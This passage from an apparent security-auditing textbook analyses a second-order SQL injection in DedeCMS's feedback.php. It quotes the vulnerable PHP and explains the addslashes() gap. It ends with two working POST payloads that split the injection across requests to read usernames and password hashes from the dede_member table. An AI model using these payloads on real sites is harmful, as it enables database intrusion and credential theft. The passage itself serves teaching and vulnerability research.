7.3 dedecms二次注入漏洞分析
顺便找一找还是能找到不少二次漏洞很经典的案例,这里我们还是以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析,该漏洞在2013年3月在乌云网被公布,漏洞编号WooYun-2013-18562,作者为safekey团队的yy520,公布初期还有一个60个注入字符的限制,在经过safekey团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。在漏洞公布之后,官方立即采取措施进行了漏洞修复,但非专业安全的人修复漏洞都有一个通病,不会做漏洞联想,别人指出哪有漏洞就修哪,跟这个漏洞同样利用方式的漏洞,在另外一个文件至今几年过去了还存在。
漏洞在/plus/feedback.php文件,代码如下:
// 保存评论内容
if ( $comtype == 'comments' )
{
$arctitle = addslashes ( $title ); // 保存评论的文章标题
$typeid = intval ( $typeid );
$ischeck = intval ( $ischeck );
$feedbacktype = preg_replace ( "#[^0-9a-z]#i" , "" , $feedbacktype );
if ( $msg ! ='' )
{ $inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arctitle` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` ) VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ); " ; $rs = $dsql->ExecuteNoneQuery ( $inquery ); if (! $rs ) { ShowMsg ( ' 发表评论错误! ' , '-1' ); //echo $dsql->GetError (); exit ();
这段代码的功能是保存用户在文章评论页面提交的评论信息,其中:
$arctitle = addslashes ( $title );
获取被评论的文章标题,这里使用了addslashes()函数过滤,接着:
$inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arctitle` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` ) VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ); " ; $rs = $dsql->ExecuteNoneQuery ( $inquery );
$rs = $dsql->ExecuteNoneQuery ( $inquery );
将提交的$arctitle变量保存到数据库中,这个过程是没有问题的,我们接着看:
// 引用回复
elseif ( $comtype == 'reply' )
{
$row = $dsql->GetOne ( "SELECT * FROM `#@__feedback` WHERE id ='$fid'" );
$arctitle = $row['arctitle'] ; // 取出之前保存的文章标题
$aid =$row['aid'] ;
$msg = $quotemsg.$msg ; //echo $msg."<br /><br />" ;
$msg = HtmlReplace ( $msg , 2 );
// 将 $arctitle 插入到数据库
$inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arctitle` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` )
VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ) " ;
$dsql->ExecuteNoneQuery ( $inquery );
}
这段代码的作用是引用之前的评论到新的评论中,其中:
$row = $dsql->GetOne ( "SELECT * FROM `#@__feedback` WHERE id ='$fid'" );
$arctitle = $row['arctitle'] ; // 取出之前保存的文章标题
取出之前提交的文章标题,赋值给$arctitle变量,再往下:
$inquery = "INSERT INTO `#@__feedback` ( `aid` , `typeid` , `username` , `arc-title` , `ip` , `ischeck` , `dtime` , `mid` , `bad` , `good` , `ftype` , `face` , `msg` )
VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ) " ;
$dsql->ExecuteNoneQuery ( $inquery );
可以看到$arctitle变量被写入到数据库,看到这里还记不记得,这个$arctitle是由用户提交的,第一次写入数据库的时候使用了addslashes()函数过滤,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如图7-2所示。
图 7-2
用SQL来表示一下如下:
第一次插入的SQL为:
insert into xx ( arctitle ) values ( '11\'' );
保存到数据库的标题内容为11',然后这个数据被select查询出来拼接到第二次插入的SQL上,SQL语句如下:
insert into xx ( arctitle ) values ( '11'' );
可以看到引发了SQL注入。
在这个漏洞中,标题字段有60个字符的长度限制,不能一次性把完整的payload写入进去,所以我们需要两次提交payload,最终利用方式如下,第一次请求提交
/plus/feedback.php ? aid=52
POST内容:
action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx' ,( char ( @`'` )), /*
我们打印SQL语句出来看看,如图7-3所示。
图 7-3
第二次请求:
/plus/feedback.php ? aid=52
POST内容:
action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1 , 2 , 3 , 4 , 5 , 6 , 7 ,( select/**/concat ( userid , 0x3a , pwd ) /**/from/**/dede_member/**/limit/**/1 )) %23
打印SQL语句出来看看,如图7-4所示。
图 7-4
发送两次请求后访问:
/plus/feedback.php ? aid=52
可以看到管理员密码已经被读取出来,如图7-5所示。
图 7-5